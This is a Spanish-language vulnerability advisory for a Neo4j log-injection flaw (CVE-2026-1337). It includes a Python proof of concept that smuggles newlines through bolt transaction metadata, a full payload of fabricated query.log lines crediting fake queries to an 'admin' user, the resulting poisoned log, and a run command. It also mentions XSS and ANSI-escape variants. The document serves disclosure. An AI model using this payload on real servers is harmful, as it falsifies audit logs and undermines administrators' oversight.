
CVE-2026-1337 - Neo4j - Inyección de registros
Un usuario autenticado puede realizar inyección de logs en el query.log de Neo4j cuando Neo4j no está configurado para usar formato json.
Neo4j no escapa los caracteres de control en el campo de metadatos cuando forma parte de una transacción bolt. Un usuario autenticado podría enviar caracteres de control para inyectar entradas de registro falsas mediante la inserción de nuevas líneas, \n.
En el código POC adjunto, estas consultas se añaden al query.log de forma que ambas parecen legítimas, pero solo la primera lo es. También hay otros artefactos, mal formateados, en los registros debido a la inyección.
MATCH (n:RealQuery) RETURN n LIMIT 1
MATCH (n:FakeQuery1) RETURN n LIMIT 1
^ la segunda está inyectada, nunca se ejecuta
Esencialmente esto:
with driver.session() as session:
tx = session.begin_transaction(metadata={"x": payload})
tx.run("RETURN 1")
tx.commit()
donde payload es algo como
'\n
2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
produce este query.log:
2025-12-05 13:08:34.585+0000 INFO Query started: id:1 - transaction id:1 - 255 ms: (planning: 255, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:RealQuery) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:35.308+0000 INFO id:1 - transaction id:1 - 980 ms: (planning: 915, waiting: 0) - 312 B - 2 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:RealQuery) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:35.333+0000 INFO Query started: id:2 - transaction id:2 - 10 ms: (planning: 10, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - RETURN 1 - {} - runtime=null - {x: ''
2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}'}
2025-12-05 13:08:35.370+0000 INFO id:2 - transaction id:2 - 47 ms: (planning: 44, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - RETURN 1 - {} - runtime=pipelined - {x: ''
2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}'}
python log_injection_poc.py --uri bolt://127.0.0.1:7687 --password secret123
Esto inyectará entradas de registro falsas en el query.log.
La falta de escape también podría abusarse para inyectar, por ejemplo, payloads XSS (un riesgo para aplicaciones web de análisis de logs) o caracteres de escape ANSI (un riesgo para la interacción con logs basada en terminal).